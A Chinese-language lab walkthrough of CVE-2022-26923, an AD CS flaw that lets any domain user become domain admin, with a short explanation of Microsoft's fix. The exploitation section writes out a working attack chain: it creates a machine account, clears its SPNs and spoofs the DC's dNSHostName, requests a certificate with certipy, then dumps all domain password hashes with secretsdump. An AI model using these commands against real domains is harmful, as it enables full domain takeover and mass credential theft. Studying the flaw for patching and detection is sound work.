Active Directory Domain Privilege Escalation(CVE-2022-26923)

简介

CVE-2022-2693是ADCS的一个漏洞,允许任何AD用户提升权限为域管理员

当在环境中安装ADCS时,将为证书申请提供如下两个证书模板: User Certificate TemplateMachine Certificate Template

当用户账户根据模板申请证书时,用户账户的UPN将被嵌入到证书中进行识别。当我们使用该证书进行认证时,KDC会尝试将证书中的UPN映射到用户身上。由于UPN必须是唯一的,域内不允许出现两个一样的UPN,因此我们无法利用该模板。

但是,机器账户没有UPN,当机器账户根据模板申请证书时,不使用UPN进行身份验证,而是借助dNSHostName属性进行验证,即使用计算机的 DNS 名称进行识别和身份验证。当通过计算机模板为计算机请求证书时,ADCS 会将计算机的 DNS 名称嵌入到 SAN 中,然后用于身份验证

dNSHostName属性不具有唯一性,我们可以通过构造机器账户并篡改dNSHostName属性,在证书申请时ADCS将dNSHostName属性嵌入证书中,如果证书有Client Authentication EKU,我们可以与 AD CS 和KDC交互以请求 Kerberos TGT票据

但是如果更改DNS主机名,Microsoft会自动更新SPN属性(Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户关联),而SPN必须是唯一的,但是我们可以绕过这个限制

利用条件

  1. 能够创建机器账户(或拥有某机器账户的控制权)

  2. 对机器账户具有修改属性的权限

  3. 目标未打相应补丁

  4. 需要开启135和445端口

利用

certutil -dump

image-20230910223602436

可以看到ADCS服务器为LUNDC.lunar.eruca.com 根据名字不难猜测出其就是域控 CA名称为lunar-LUNDC-CA

使用addcomputer.py新建一个机器账户

addcomputer.py 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'XUX' -computer-pass 'Password1@'

image-20230910224317523

image-20230910224515551

尝试使用 Set-ADComputer cmdlet 将 DNSHostName更新为 DC 的DNSHostName

image-20230910224803646

可以看到失败了,因为当我们更新DNSHostName的时候,只有两个值被更新和检查,即RestrictedKrbHost/lunar.eruca.comHOST/lunar.eruca.com,其中包含DNSHostName属性值,解决措施就是删除XUX$机器账户中这两个SPN值,在域控同步更新时不造成冲突

Set-ADComputer XUX -ServicePrincipalName @{}

image-20230910225212296

然后可以使用Certify(https://github.com/ly4k/Certipy) 来请求新证书

certipy req -u 'XUX$@lunar.eruca.com' -p 'Password1@' -ca LUNAR-LUNDC-CA -template Machine

image-20230910230100949

然后我们可以利用lundc$ 的hash进行DcSync,转储所有用户的hash

方法一: 利用hash

secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 'lundc$@LUNDC.lunar.eruca.com' -no-pass -just-dc -dc-ip 10.10.106.76

image-20230910231201087

方法二: 利用票据

export KRB5CCNAME=/Users/xuxuan/lundc.ccache
secretsdump.py -k 'lundc$@LUNDC.lunar.eruca.com' -no-pass -just-dc

image-20230910231355835

此外,之前的添加机器账号以及删除SPN也可以通过魔改addcomputer.py来一步到位

image-20230910233217423

image-20230910233146879

修复

微软在5月安全更新进行了修补。方法是在新证书中引入新的对象 ID (OID) 以进一步对用户进行指纹识别。这是通过在新的OID 中嵌入用户 objectSid(SID)来完成的

此外,“验证写入 DNS 主机名”权限现在只允许设置dNSHostName为与帐户的 SAM 帐户名称相匹配的属性